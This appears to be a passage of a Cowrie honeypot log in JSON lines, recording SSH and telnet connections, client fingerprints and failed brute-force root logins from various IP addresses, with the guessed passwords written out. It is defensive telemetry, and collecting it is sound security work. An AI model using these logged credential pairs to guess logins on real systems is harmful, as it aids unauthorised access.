{"eventid":"cowrie.session.connect","src_ip":"2.135.255.182","src_port":41930,"dst_ip":"10.17.0.5","dst_port":23,"session":"c93d3c2f04ca","protocol":"telnet","message":"New connection: 2.135.255.182:41930 (10.17.0.5:23) [session: c93d3c2f04ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:29:19.276473Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":37398,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc3fe43b08cd","protocol":"ssh","message":"New connection: 46.19.67.181:37398 (159.203.135.109:22) [session: fc3fe43b08cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:29:47.287192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:29:47.291981Z","src_ip":"46.19.67.181","session":"fc3fe43b08cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:29:47.409573Z","src_ip":"46.19.67.181","session":"fc3fe43b08cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem1234","message":"login attempt [root/artem1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:29:47.762590Z","src_ip":"46.19.67.181","session":"fc3fe43b08cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:29:48.883450Z","src_ip":"46.19.67.181","session":"fc3fe43b08cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37260,"dst_ip":"159.203.135.109","dst_port":23,"session":"064795947049","protocol":"telnet","message":"New connection: 69.4.83.194:37260 (159.203.135.109:23) [session: 064795947049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:30:43.913486Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":39866,"dst_ip":"159.203.135.109","dst_port":22,"session":"1849ae6c4584","protocol":"ssh","message":"New connection: 51.250.105.222:39866 (159.203.135.109:22) [session: 1849ae6c4584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:31:14.182365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:31:14.186961Z","src_ip":"51.250.105.222","session":"1849ae6c4584","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:31:14.311713Z","src_ip":"51.250.105.222","session":"1849ae6c4584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:31:14.688792Z","src_ip":"51.250.105.222","session":"1849ae6c4584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:31:15.816904Z","src_ip":"51.250.105.222","session":"1849ae6c4584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0041925907135,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:31:19.280527Z","src_ip":"2.135.255.182","session":"c93d3c2f04ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.63723087310791,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:31:19.550599Z","src_ip":"69.4.83.194","session":"064795947049","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51822,"dst_ip":"159.203.135.109","dst_port":23,"session":"d53677cacd1e","protocol":"telnet","message":"New connection: 69.4.83.194:51822 (159.203.135.109:23) [session: d53677cacd1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:31:20.314973Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":43756,"dst_ip":"159.203.135.109","dst_port":22,"session":"702c7bde4e2a","protocol":"ssh","message":"New connection: 103.27.238.114:43756 (159.203.135.109:22) [session: 702c7bde4e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:31:20.416731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:31:20.425074Z","src_ip":"103.27.238.114","session":"702c7bde4e2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:31:20.686687Z","src_ip":"103.27.238.114","session":"702c7bde4e2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"melody","message":"login attempt [root/melody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:31:21.470317Z","src_ip":"103.27.238.114","session":"702c7bde4e2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:31:22.735484Z","src_ip":"103.27.238.114","session":"702c7bde4e2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.61502504348755,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:31:53.929910Z","src_ip":"69.4.83.194","session":"d53677cacd1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":58226,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0fda85100a4","protocol":"ssh","message":"New connection: 77.94.47.83:58226 (10.17.0.5:22) [session: d0fda85100a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:32:14.369216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:32:14.374536Z","src_ip":"77.94.47.83","session":"d0fda85100a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:32:14.488843Z","src_ip":"77.94.47.83","session":"d0fda85100a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ktyecbr","message":"login attempt [root/ktyecbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:32:14.825391Z","src_ip":"77.94.47.83","session":"d0fda85100a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:32:15.941145Z","src_ip":"77.94.47.83","session":"d0fda85100a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"95fda699e48d","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: 95fda699e48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:07.175806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:07.180938Z","src_ip":"23.97.62.150","session":"95fda699e48d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:07.420000Z","src_ip":"23.97.62.150","session":"95fda699e48d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian2026","message":"login attempt [root/debian2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:08.129132Z","src_ip":"23.97.62.150","session":"95fda699e48d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:09.367229Z","src_ip":"23.97.62.150","session":"95fda699e48d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.125.242.51","src_port":54882,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaac5f475d77","protocol":"telnet","message":"New connection: 111.125.242.51:54882 (159.203.135.109:23) [session: eaac5f475d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:21.835438Z"}
{"eventid":"cowrie.session.closed","duration":13.36902928352356,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:35.204363Z","src_ip":"111.125.242.51","session":"eaac5f475d77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":49796,"dst_ip":"10.17.0.5","dst_port":22,"session":"32ddade33668","protocol":"ssh","message":"New connection: 94.159.98.239:49796 (10.17.0.5:22) [session: 32ddade33668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:42.332614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:42.438729Z","src_ip":"94.159.98.239","session":"32ddade33668","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:42.536931Z","src_ip":"94.159.98.239","session":"32ddade33668","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhjkmrf","message":"login attempt [root/gfhjkmrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:43.161681Z","src_ip":"94.159.98.239","session":"32ddade33668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":51682,"dst_ip":"10.17.0.5","dst_port":22,"session":"0904ce5b84ea","protocol":"ssh","message":"New connection: 85.11.167.46:51682 (10.17.0.5:22) [session: 0904ce5b84ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:43.883796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:43.891550Z","src_ip":"85.11.167.46","session":"0904ce5b84ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:43.974217Z","src_ip":"85.11.167.46","session":"0904ce5b84ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:44.243158Z","src_ip":"85.11.167.46","session":"0904ce5b84ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:44.789640Z","src_ip":"94.159.98.239","session":"32ddade33668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:45.327966Z","src_ip":"85.11.167.46","session":"0904ce5b84ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":48722,"dst_ip":"159.203.135.109","dst_port":22,"session":"04ac324d2370","protocol":"ssh","message":"New connection: 37.233.85.71:48722 (159.203.135.109:22) [session: 04ac324d2370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:49.863294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:49.868030Z","src_ip":"37.233.85.71","session":"04ac324d2370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@